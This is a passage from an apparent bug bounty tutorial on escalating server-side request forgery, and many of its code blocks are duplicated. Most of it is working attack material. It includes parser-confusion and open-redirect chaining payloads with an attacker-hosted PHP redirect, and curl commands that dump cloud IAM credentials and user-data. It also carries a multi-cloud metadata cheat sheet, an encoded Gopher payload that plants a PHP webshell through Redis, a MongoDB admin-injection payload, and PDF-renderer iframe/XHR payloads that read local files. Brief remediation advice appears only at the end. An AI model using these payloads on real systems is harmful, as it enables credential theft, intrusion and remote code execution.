# Test parser confusion payloads
curl -s "https://target.com/proxy?url=http://target.com@127.0.0.1/"
curl -s "https://target.com/proxy?url=http://127.0.0.1%23@target.com/"
curl -s "https://target.com/proxy?url=http://127.0.0.1%5ctarget.com/"# Test parser confusion payloads
curl -s "https://target.com/proxy?url=http://target.com@127.0.0.1/"
curl -s "https://target.com/proxy?url=http://127.0.0.1%23@target.com/"
curl -s "https://target.com/proxy?url=http://127.0.0.1%5ctarget.com/"5. Bypassing Strict Whitelists via Open Redirection Chaining
When developers implement a strict domain whitelist (e.g. only allowing URLs matching target.com, direct IP bypasses may fail. However, if any endpoint or subdomain on the whitelisted domain has an Open Redirect, you can chain them to bypass the whitelist completely!
Attacker Request
|
v
SSRF Endpoint β Whitelist Check: PASS
|
v
Backend Requests Whitelisted URL
|
v
Open Redirect Returns HTTP 302
Location: http://169.254.169.254/
|
v
Backend Follows Redirect to Cloud Metadata
|
v
Potential Cloud Metadata ExposureAttacker Request
|
v
SSRF Endpoint β Whitelist Check: PASS
|
v
Backend Requests Whitelisted URL
|
v
Open Redirect Returns HTTP 302
Location: http://169.254.169.254/
|
v
Backend Follows Redirect to Cloud Metadata
|
v
Potential Cloud Metadata ExposureStep 1: Discover Open Redirect on the Target
https://target.com/oauth/callback?redirect_uri=https://evil.com
https://target.com/login?next=https://evil.com
https://target.com/go?url=https://evil.comhttps://target.com/oauth/callback?redirect_uri=https://evil.com
https://target.com/login?next=https://evil.com
https://target.com/go?url=https://evil.comStep 2: Host Redirect Script on Your Server (ssrf_redirect.php)
<?php
header("Location: http://169.254.169.254/latest/meta-data/");
exit();
?><?php
header("Location: http://169.254.169.254/latest/meta-data/");
exit();
?>Step 3: Trigger the Chained SSRF Exploit
curl -s "https://target.com/fetch?url=https://target.com/oauth/callback?redirect_uri=https://evil-attacker.com/ssrf_redirect.php"curl -s "https://target.com/fetch?url=https://target.com/oauth/callback?redirect_uri=https://evil-attacker.com/ssrf_redirect.php"The application validates that the supplied URL starts with https://target.com, passes the check, follows the 302 redirect and queries the forbidden AWS metadata service!
Phase 5: Maximum Impact Escalation (Cloud Metadata & RCE)
A basic SSRF finding demonstrating a loopback ping is often rated Medium (P3). To earn top-tier $5,000+ Critical (P1) bounties, you must escalate the bug to Cloud Metadata Theft or Remote Code Execution (RCE).
1. Cloud Metadata Theft (AWS, GCP, Azure, DigitalOcean, Kubernetes)
Cloud providers expose an internal Link-Local address (169.254.169.254) accessible only from inside virtual machine instances. Querying this endpoint allows you to extract temporary IAM credentials, API tokens and bootstrap deployment scripts.
AWS Metadata (IMDSv1 & IMDSv2 Analysis)
# 1. Check basic instance hostname and AMI ID
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/hostname"
# 2. Extract Attached IAM Role Name
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 3. Dump temporary AWS AccessKeyId, SecretAccessKey, and Token
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ATTACHED_ROLE_NAME"
# 4. Dump User-Data (often contains plaintext hardcoded credentials & SSH keys)
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
# 5. AWS ECS Task Credentials
curl -s "https://target.com/fetch?url=http://169.254.170.2/v2/credentials/"# 1. Check basic instance hostname and AMI ID
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/hostname"
# 2. Extract Attached IAM Role Name
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 3. Dump temporary AWS AccessKeyId, SecretAccessKey, and Token
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ATTACHED_ROLE_NAME"
# 4. Dump User-Data (often contains plaintext hardcoded credentials & SSH keys)
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
# 5. AWS ECS Task Credentials
curl -s "https://target.com/fetch?url=http://169.254.170.2/v2/credentials/"What about AWS IMDSv2?
AWS IMDSv2 mitigates SSRF by requiring a session token obtained via an HTTP PUT request with the header X-aws-ec2-metadata-token-ttl-seconds: 21600. Because most SSRF vectors only issue GET requests, IMDSv2 effectively stops traditional metadata theft. However, if your SSRF vector allows custom HTTP methods (such as API gateway forwarders or proxies accepting method overrides) or header injection, you can still acquire the token:
# Acquiring IMDSv2 Token via Header Injection or Custom Method
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"# Acquiring IMDSv2 Token via Header Injection or Custom Method
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"Multi-Cloud Metadata Reference Cheat Sheet:
[Embedded content: 67b2917b7864624d97d31688284b9367]
#AWS:
vulnerablesite.com/file/?url=http://instance-data
vulnerablesite.com/file/?url=http://169.254.169.254
vulnerablesite.com/file/?url=http://169.254.169.254/latest/user-data
vulnerablesite.com/file/?url=http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/ami-id
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/reservation-id
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/hostname
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
vulnerablesite.com/file/?url=http://169.254.169.254/latest/dynamic/instance-identity/document
#Google Cloud:
vulnerablesite.com/file/?url=http://169.254.169.254/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/instance/hostname
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/instance/id
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/project/project-id
#Azure:
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/v1/maintenance
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/instance?api-version=2017-04-02
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
#Digital Ocean:
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
#Alibaba Cloud:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
http://100.100.100.200/latest/user-data
#Packetcloud:
https://metadata.packet.net/userdata
#OpenStack/RackSpace
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2012-08-10/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
#Oracle Cloud:
http://169.254.169.254/opc/v1/instance/
#ECS Task:
http://169.254.170.2/v2/credentials/#AWS:
vulnerablesite.com/file/?url=http://instance-data
vulnerablesite.com/file/?url=http://169.254.169.254
vulnerablesite.com/file/?url=http://169.254.169.254/latest/user-data
vulnerablesite.com/file/?url=http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/ami-id
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/reservation-id
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/hostname
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
vulnerablesite.com/file/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
vulnerablesite.com/file/?url=http://169.254.169.254/latest/dynamic/instance-identity/document
#Google Cloud:
vulnerablesite.com/file/?url=http://169.254.169.254/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata/computeMetadata/v1/
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/instance/hostname
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/instance/id
vulnerablesite.com/file/?url=http://metadata.google.internal/computeMetadata/v1/project/project-id
#Azure:
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/v1/maintenance
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/instance?api-version=2017-04-02
vulnerablesite.com/file/?url=http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
#Digital Ocean:
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
#Alibaba Cloud:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
http://100.100.100.200/latest/user-data
#Packetcloud:
https://metadata.packet.net/userdata
#OpenStack/RackSpace
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2012-08-10/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
#Oracle Cloud:
http://169.254.169.254/opc/v1/instance/
#ECS Task:
http://169.254.170.2/v2/credentials/2. Escalating SSRF to Remote Code Execution (RCE)
Method 1: Gopher Smuggling to Unauthenticated Redis
If your internal port scan uncovers port 6379 (Redis) open on 127.0.0.1, use the open-source tool Gopherus to generate an automated Gopher payload that drops a PHP webshell into the webroot or writes an SSH authorized key:
# Generate Redis Reverse Shell payload with Gopherus
gopherus --exploit redis# Generate Redis Reverse Shell payload with Gopherus
gopherus --exploit redisWhen prompted, select:
- Target: PHPShell
- Web root location: /var/www/html
- Shell filename: shell.php
Gopherus generates a URL-encoded Gopher payload that sends these Redis commands:
FLUSHALL
SET 1 "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
curl -s "https://target.com/proxy?url=gopher://127.0.0.1:6379/_<GOPHERUS_PAYLOAD>"FLUSHALL
SET 1 "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
curl -s "https://target.com/proxy?url=gopher://127.0.0.1:6379/_<GOPHERUS_PAYLOAD>"Inject this payload into the vulnerable SSRF parameter, and access your newly minted webshell:
curl -s "https://target.com/shell.php?cmd=id"curl -s "https://target.com/shell.php?cmd=id"GitHub - Esonhugh/Gopherus3: Python3 Based gopherus, completely refactored and added more feature. Python3 Based gopherus, completely refactored and added more feature. - Esonhugh/Gopherus3
MongoDB SSRF via Gopher: Injecting an Administrator User
Unauthenticated MongoDB on 127.0.0.1:27017 can be exploited via Gopher to inject an admin user by sending raw MongoDB wire protocol messages:
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'This sends a raw MongoDB wire protocol INSERT operation to create an admin user in the users collection. Once the user is injected, authenticate through the application's login flow with admin:admin123 and escalate from there.
Method 2: SSRF in Headless PDF Renderers (XSS to SSRF / Local File Read)
PDF converters using headless Chrome (Puppeteer) or wkhtmltopdf render user-controlled HTML. If the converter parses HTML tags, you can inject an
<!-- Exfiltrate local /etc/passwd directly onto the generated PDF -->
<iframe src="file:///etc/passwd" width="800" height="600"></iframe>
<!-- Exfiltrate AWS Metadata -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="600"></iframe>
<!-- Fetch sensitive internal microservice via JavaScript -->
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write(x.responseText);
</script><!-- Exfiltrate local /etc/passwd directly onto the generated PDF -->
<iframe src="file:///etc/passwd" width="800" height="600"></iframe>
<!-- Exfiltrate AWS Metadata -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="600"></iframe>
<!-- Fetch sensitive internal microservice via JavaScript -->
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write(x.responseText);
</script>When the server generates the PDF, the rendered document may reveal sensitive internal data.
Method 3: SSRF via FFmpeg Video Processing (HLS AVI Exploit)
Video processing platforms frequently utilize FFmpeg to transcode media uploads. By uploading a crafted AVI file containing an HLS M3U8 playlist, you force the video engine to fetch internal endpoints:
# Malicious AVI Header containing M3U8 Playlist
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
http://127.0.0.1:80/internal-api/keys
#EXT-X-ENDLIST# Malicious AVI Header containing M3U8 Playlist
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
http://127.0.0.1:80/internal-api/keys
#EXT-X-ENDLISTWhen the server creates a thumbnail preview of the video, it executes the internal request and draws the response pixels directly onto the generated video thumbnail image!
You can use the PoC AVI file from the repository below as a starting point. Replace the existing URL with your Interactsh domain, upload the file to the target's video-processing feature, and check your OOB listener for incoming requests.
GitHub - pflashpunk/ssrf-video Contribute to pflashpunk/ssrf-video development by creating an account on GitHub.
Real-World Bug Bounty Triage & Reporting
SSRF is recognized under OWASP Top 10 (A10:2021) and regularly qualifies for top-tier bounty rewards. However, the severity assigned to your report depends directly on what you can demonstrate:
Bug Bounty Severity Matrix:
[Embedded content: 6b170a0703889c0180877ba250466356]
Note: These payout ranges are illustrative estimates, not guaranteed rewards. Actual severity and payouts depend on the bug bounty program's policy, demonstrated impact and duplicate status.
Remediation: How Developers Can Fix This
Preventing SSRF requires a secure approach to handling server-side requests. Developers should follow these essential security practices to protect applications from SSRF vulnerabilities.
- Strict URL Validation: Allow only trusted URLs and the http:// and https:// schemes. Avoid relying on blacklists or regex filters alone.
- Block Internal IPs: Reject private, loopback and link-local IP addresses to prevent access to internal services.
- Validate DNS Resolution: Resolve hostnames and validate their IP addresses before connecting. Recheck redirects and resolved IPs to prevent DNS rebinding.
- Disable Redirects: Turn off automatic HTTP redirects or validate every redirect destination before following it.
- Restrict Outbound Traffic: Use firewalls and network rules to prevent application servers from accessing internal services and sensitive ports.
Conclusion
SSRF is one of the most interesting vulnerabilities in web security because it connects web flaws to internal infrastructure. Finding an SSRF endpoint is just the first step. Testing alternative protocols, bypassing filters with decimal or octal IP encodings, chaining open redirects, and probing internal services can help uncover the vulnerability's true impact and turn a simple finding into a high-impact bug bounty.
Disclaimer
The content provided in this article is for educational and informational purposes only. Always ensure you have proper authorization before conducting security assessments. Use this information responsibly.